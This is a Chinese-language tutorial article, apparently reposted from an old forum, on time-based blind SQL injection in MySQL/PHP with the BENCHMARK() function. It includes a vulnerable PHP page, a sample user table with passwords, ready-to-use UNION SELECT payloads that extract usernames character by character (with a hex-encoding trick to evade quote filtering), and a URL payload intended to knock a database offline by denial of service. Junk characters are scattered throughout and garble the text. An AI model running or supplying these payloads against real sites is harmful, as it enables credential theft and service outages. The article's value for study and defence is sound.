MYSQL中BENCHMARK函数的利用
( Q7 E. N! C1 c) [4 B- i6 o本文作者:SuperHei
. ~ k8 B' c" C% H( f文章性质:原创
1 v T7 h( _% F0 E8 X发布日期:2005-01-02' ^" }( h, r0 e- x+ H
完成日期:2004-07-09 O; {5 o# [8 J/ r& ^
第一部- A' j; ?5 H0 m) b: W2 L) ~
# j5 f% j( x/ _' g* h5 G# d9 f
利用时间推延进行注射---BENCHMARK函数在注射中的利用 9 |! S6 |" x! \
- w+ A0 W$ j6 H一.前言/思路
# E% y3 ^ @1 L# f" g5 L9 O5 x' Z( m" @" I% M
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。5 U6 U6 ~) W# e% @! K
- G U+ {1 |- s4 r7 r) \ 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
6 P% Q/ Z5 z+ T2 h& Y2 I- @, e* T+ I9 F) C# l/ a5 u% ?6 E9 b
二.关于BENCHMARK函数
, S3 c1 f; S9 z+ ]! g$ A+ E" w/ \, t- m: e* m- E+ W
在MySQL参考手册里可以看到如下描叙: - B( J& y# K! s/ G7 `& q4 v
) X% {. f C, j" u& o
$ C9 O9 a0 o; k--------------------------------------------------------------------------------
& o# }! o; e& y8 `% t' ?
' S |3 @0 M) B4 `: G( V; }9 `BENCHMARK(count,expr)
0 u( G: O2 @/ k3 W) c1 t* YBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
& b( A6 Z7 r& M$ ~, }5 V% emysql> select BENCHMARK(1000000,encode("hello","goodbye")); + @; R# k2 w; Q/ G6 I7 d4 g
+----------------------------------------------+ # | J/ Q( N% H. R8 U/ [
| BENCHMARK(1000000,encode("hello","goodbye")) |
3 C3 |8 P# @, a5 t/ @. J+----------------------------------------------+ ) B& g' C/ Z, Z5 U
| 0 | ! v- [3 h) e; P$ U
+----------------------------------------------+ 9 g8 [% \) t) V9 t- A, J7 H
1 row in set (4.74 sec) % e& e( b+ l# x# m) c3 R
3 K- L4 f g" } M0 Q
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
1 V; W( G1 ~7 y
1 K% e6 T! m# M% s5 F. D4 h6 w/ @2 U" Z
; F/ z& Q8 v# E; ?# z--------------------------------------------------------------------------------
7 p, B$ ?* o% p8 d5 p* X
3 _5 j. Y3 }" E+ x. C 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: $ b0 B, z+ I8 r( k# A
. |/ Y7 N) w7 K7 C! w- K
mysql> select md5( 'test' ); 2 K8 _% {* |5 n- p) h
+----------------------------------+ & s" G) ?# R0 v8 q4 Z6 v6 j
| md5( 'test' ) |
7 @+ s' O+ ^0 I% ~8 { d6 [# h+----------------------------------+ . y* u y- @9 n( ?9 R ^# r* r3 G4 ?9 m/ L
| 098f6bcd4621d373cade4e832627b4f6 |
6 _+ i+ ~+ C3 z+----------------------------------+ + U" e+ o, F9 I2 C& o8 h! ]8 k
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
" A+ R5 U: f! }8 k- @3 o/ k& E
1 t! V1 w( |; kmysql> select benchmark( 500000, md5( 'test' ) );
" f5 z1 a& K$ b8 K; N+------------------------------------+ & ^6 n( S) G" k) `, |- ~
| benchmark( 500000, md5( 'test' ) ) |
7 z9 B8 i7 ^0 O; F3 s+------------------------------------+ 0 P7 x! ]4 q& k
| 0 |
" J% Z1 b' M7 {+------------------------------------+
* B! F: O0 y& V1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
9 {* i& w7 w* f& D 3 M+ m" H; d. r- M( j* F
3 z: x1 [# J( J
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 + h! G6 T: [) P' d# h# O5 e' y) I
7 G8 N* D: R8 G) T+ l" ?三.具体例子( s6 A8 Y ~6 N4 i( D
6 i5 F: e) I+ w1 Q3 k+ g( Y. @ 首先我们看个简单的php代码:2 s' U f4 z3 q9 K7 G
! ?0 p0 m+ q7 n( C, Q% H3 G
< ?php 9 _% a U; s+ F3 C% D' h2 j) G
$servername = "localhost"; , u+ v9 F% T1 [. }8 }, c" B
$dbusername = "root";
! E8 A( T2 k* \% c$dbpassword = ""; & d( Z. w; V1 T0 Y: G% d# Y' O
$dbname = "injection";
F0 s+ Q* Z$ I6 D) t" e/ B+ Z4 s' v
! M0 q$ Z& P' O+ j; Rmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 8 y* B8 x1 e& d4 `' Z
7 f/ k' q/ w0 b1 d8 H% f
$sql = "SELECT * FROM article WHERE articleid=$id"; R+ G$ ~9 _" {% m5 o6 o
$result = mysql_db_query($dbname,$sql); 4 J0 F/ A1 D2 Y% l% J' y; e
$row = mysql_fetch_array($result); , |& f& S# I+ z( |# h3 b: N4 a- z: S8 `
) y5 a, i5 J- w2 t7 D7 W
if (!$row)
1 K/ k. m- k/ W& N0 w{
" L3 h) d3 {# {9 ]+ ~2 a* h7 Pexit;
- f4 V9 R9 ~+ Y- }0 [6 R}
8 K, v' A% p$ U R8 H# G! o?>% ?1 v0 Y5 _& o# B* c( J0 Y
& @- T* H; O. w$ C9 n8 K' k, e7 J! ^9 R
数据库injection结构和内容如下:" T! z. b" Z" O0 b2 F. s. `
$ u7 u* u. p+ D) a& a- x- S; f# 数据库 : `injection` . L' i+ ?0 [3 K
# 6 ~8 F9 P* u7 q9 f
5 j0 _: [/ ]+ l
# -------------------------------------------------------- 5 {- b+ D2 { }
/ g# R6 H1 ]& N4 t) N
#
: f% S: A4 [8 B# 表的结构 `article`
$ r/ S! m4 \, ~: W6 I4 e# U- o3 D0 t) I! E, t5 ]' C
# n7 x' j5 @0 I0 u- i% r$ hCREATE TABLE `article` ( % @# x7 P* z; V; V, p' e
`articleid` int(11) NOT NULL auto_increment,
! z3 M( D6 C- H9 T+ A' i, L' {5 T`title` varchar(100) NOT NULL default '', + D! F$ z e2 Z( h w
`content` text NOT NULL, ( a" I/ ~; G! r" J7 S* I( n
PRIMARY KEY (`articleid`) 9 W, P6 _) X$ u. c: a4 c! O
) TYPE=MyISAM AUTO_INCREMENT=3 ; # i/ c1 B; i* l/ Z3 h6 }/ N: f
5 l6 e# U# Q; t& ~
# * w: _9 ]) ]; r0 H- P" _" d3 L
# 导出表中的数据 `article` ' g7 S# s% F2 v0 Z: v3 p. w* I" X
#
& N. t7 X* D+ l. U, R% U* H6 u) p8 C/ e$ o" D# H
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ( h/ y" ]0 Q5 Y7 F
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
c* s* a$ I5 D7 E2 n6 @" W
0 F/ ]: p5 T; f% l4 ]' P8 B5 x# --------------------------------------------------------
0 y2 Q5 S7 U7 M9 l9 I& C4 m& e/ g2 u3 _& K0 E
#
1 ?$ r4 E& v' |( C# 表的结构 `user`
2 J/ q8 s* b' G' ~' a. s# , v4 W% v* v; u% l0 q
4 C* d. P0 t: M3 @: M7 f1 m7 F
CREATE TABLE `user` ( 1 v/ \6 I+ O! H- ]
`userid` int(11) NOT NULL auto_increment,
4 ] A* B2 R/ `# x`username` varchar(20) NOT NULL default '', 2 W6 Y; s/ ^$ {+ u6 V
`password` varchar(20) NOT NULL default '', 7 {# [$ J7 b) ?* Q$ _5 ^8 S
PRIMARY KEY (`userid`)
1 s; a: P% e6 W) TYPE=MyISAM AUTO_INCREMENT=3 ;
3 I# U* g7 u, i8 h
" X% o' \6 O' D" F J/ b3 x4 \, C#
' p7 v! |6 F' [7 ^& D+ Y* a& Z# 导出表中的数据 `user`
; M2 Q, C/ @& W# e3 r, |#
- k! [) w0 [+ l( }, v- E+ J' V9 F+ b7 |6 `8 j& t
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); % R W; o9 A, P; m$ @( d
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');2 Y* p# i2 Y$ t" ]- C
0 Z8 I7 \ s; C" A- ^- D
& i o0 b d1 b+ o+ m* _ 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:: x$ m. K# i. y/ H" |
% h5 a8 @* j# }) a
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
8 U+ K0 }' v1 U8 t + @% C& H3 ]9 { X3 B4 S- r3 Z( A3 r
- ~& b- L% g# d% Y j 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:+ G2 q0 w8 ?9 m9 H% K! z& P+ h
0 w6 a0 C" O/ [3 B; u z. u
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*- `/ W3 h8 O E% ?6 E7 q3 G* l4 k
, U) o4 B# l, C/ e: E0 G
- w. f, V1 g4 z3 U
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
5 {: d% V5 D8 W. c9 F, u& O& f% q
9 {- L7 v$ V& Y! k 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 d5 `+ d& G8 S+ {# }/ `
+ M% j; z' \; W
第二部
; s E$ k# g4 u0 `: P2 N G
7 l) B4 Q1 _# z5 b- T9 D" k利用BENCHMARK函数进行ddos攻击
' k6 O- h% ~" L( A S9 i) `8 d& t
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
1 _6 A; e! }) S
$ M; k3 l" m( ^7 @+ thttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
" u, V/ a3 ]) M" J. y$ b ' n/ M: f- f3 S$ x3 K
) X/ v9 c+ C- }9 Q# S: L
小结
5 X% v# T u. T$ s6 R* b% h( S- ~, n9 c+ F9 b+ A' D0 K7 K' z
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。6 O5 p7 D8 b' q* O0 n+ w
9 I9 X- T9 ~! s; e: {& ~ 5 ^& h" n2 W# `' u9 _
|